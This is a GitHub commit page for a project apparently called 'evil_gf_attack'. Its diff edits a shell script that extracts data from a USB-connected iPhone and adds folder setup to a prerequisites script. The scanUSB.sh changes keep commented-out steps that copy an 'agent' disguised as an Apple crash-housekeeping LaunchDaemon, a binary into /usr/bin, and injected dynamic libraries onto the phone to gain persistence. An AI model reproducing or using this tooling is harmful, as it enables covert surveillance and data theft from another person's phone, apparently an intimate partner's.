Skip to content

Commit

Permalink
add lines to script to create folders
Browse files Browse the repository at this point in the history
  • Loading branch information
milo2012 committed Oct 19, 2011
1 parent 0eb249f commit 287e6b2
Show file tree
Hide file tree
Showing 2 changed files with 20 additions and 3 deletions.
10 changes: 7 additions & 3 deletions evil_gf_attack/scanUSB.sh
Expand Up @@ -51,10 +51,14 @@ do
ideviceinstaller -l > $newdstLocation/installedSoftware.txt
ideviceinfo -s > $newdstLocation/deviceInfo.txt

#Uncomment the below 2 lines out if you do not want to deply any agents
#cp "/tmp1/Transfer/com.apple.CrashHousekeeping.plist" $mntp"/System/Library/LaunchDaemons/com.apple.CrashHousekeeping.plist"
#cp "/tmp1/Transfer/sql2" $mntp"/usr/bin/sql2"
#Uncomment the below 2 lines out if you do not want to copy any agents to the iPhone file system in order to run at start or certain time of the day
#cp "/tmp1/TransferStartup/com.apple.CrashHousekeeping.plist" $mntp"/System/Library/LaunchDaemons/com.apple.CrashHousekeeping.plist"
#cp "/tmp1/TransferStartup/sql2" $mntp"/usr/bin/sql2"


#Uncomment the below 2 lines to copy dynamic libraries to the iPhone root file system
#cp "/tmp1/TransferDynLibraries/*" $mntp"/Library/MobileSubstrate/DynamicLibraries/"

sleep 2
fusermount -u $mntp
echo "Backup Completed"
Expand Down
13 changes: 13 additions & 0 deletions evil_gf_attack/setupPrerequisites.sh
Expand Up @@ -18,6 +18,19 @@ apt-get install libgtk2.0-dev libnautilus-extension-dev intltool libzip-dev -y
wget http://www.libimobiledevice.org/downloads/nautilus-ideviceinfo-0.1.0.tar.bz2
bunzip2 -d nautilus-ideviceinfo-0.1.0.tar.bz2 && tar xvf nautilus-ideviceinfo-0.1.0.tar && cd nautilus-ideviceinfo-0.1.0 && ./configure && make && make install

if [ ! -d "/tmp1" ]; then
mkdir /tmp1
echo "Creating /tmp1 folder\n"
fi
if [ ! -d "/tmp1/TransferStartup" ]; then
mkdir /tmp1/TransferStartup
echo "Creating /tmp1/TransferStartup folder\n"
fi
if [ ! -d "/tmp1/DynLibraries" ]; then
mkdir /tmp1/DynLibraries
echo "Creating /tmp1/DynLibraries folder"
fi




Expand Down

0 comments on commit 287e6b2

Please sign in to comment.